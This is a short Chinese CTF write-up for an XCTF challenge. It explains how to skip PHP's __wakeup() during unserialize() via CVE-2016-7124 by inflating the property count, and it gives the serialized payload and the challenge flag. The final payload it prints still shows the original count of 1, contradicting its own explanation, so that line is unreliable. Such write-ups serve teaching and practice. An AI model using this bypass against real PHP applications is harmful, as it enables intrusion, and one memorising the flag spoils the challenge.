目录
class xctf{public $flag = '111';public function __wakeup(){exit('bad requests');}?code=
本题需要利用反序列化字符串来进行解题,根据源码提示我们需要构造code。
而__wakeup()在PHP中被称为魔术方法,在进行反序列化时,unserialize()会检查是否存在__wakeup(),若存在,该__wakeup()魔术方法会被先一步调用。对于本题,如果我们直接进行序列化,则会执行__wakeup()从而导致exit。因此我们需要根据漏洞(CVE-2016-7124)使序列化字符串中表示对象属性个数的值大于真实的属性个数,以此跳过__wakeup 的执行,达到绕过的目的。编辑PHP脚本输出序列化的字符串:
class xctf{public $flag = '111';public function __wakeup(){exit('bad requests');}}$a = new xctf();print(serialize($a));?>
在PHP在线测试工具上进行验证:
PHP在线测试工具:https://www.it1352.com/Onlinetools/details/8
得到:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
漏洞(CVE-2016-7124)使序列化字符串中表示对象属性个数的值大于真实的属性个数,以此跳过__wakeup 的执行,达到绕过的目的
本题序列化字符串的标准格式:O:<类名的长度>:“<类名>”:<成员属性的个数>:{S:…这里我们将属性个数由1改为2进行绕过。
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
cyberpeace{1741954fde5f0c1b3e7e67c043b5d704}
来源地址:https://blog.csdn.net/qq_46094681/article/details/127003677